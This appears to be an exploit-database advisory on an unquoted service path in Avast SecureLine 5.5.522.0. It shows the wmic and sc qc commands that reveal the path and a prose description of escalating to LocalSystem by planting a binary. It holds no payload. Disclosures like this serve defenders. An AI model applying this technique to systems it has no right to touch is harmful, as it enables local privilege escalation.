AVAST SecureLine 5.5.522.0 Unquoted Service Path

`# Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path  
# Discovery by: Roberto Piña  
# Discovery Date: 2020-03-24  
# Vendor Homepage:https://www.avast.com/  
# Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx  
# Tested Version: 5.5.522.0  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 8.1 Single Language x32 es  
  
# Step to discover Unquoted Service Path:   
  
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f  
indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """  
Avast SecureLine  
SecureLine C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe   
Auto  
  
C:\>sc qc SecureLine  
[SC] QueryServiceConfig CORRECTO  
  
NOMBRE_SERVICIO: SecureLine  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_INICIO : 2 AUTO_START  
CONTROL_ERROR : 1 NORMAL  
NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe  
GRUPO_ORDEN_CARGA :  
ETIQUETA : 0  
NOMBRE_MOSTRAR : Avast SecureLine  
DEPENDENCIAS :  
NOMBRE_INICIO_SERVICIO: LocalSystem  
  
  
# Exploit:  
# A successful attempt would require the local user to be able to insert their code in the system root path   
# undetected by the OS or other security applications where it could potentially be executed during   
# application startup or reboot. If successful, the local user's code would execute with the elevated   
# privileges of the application.  
`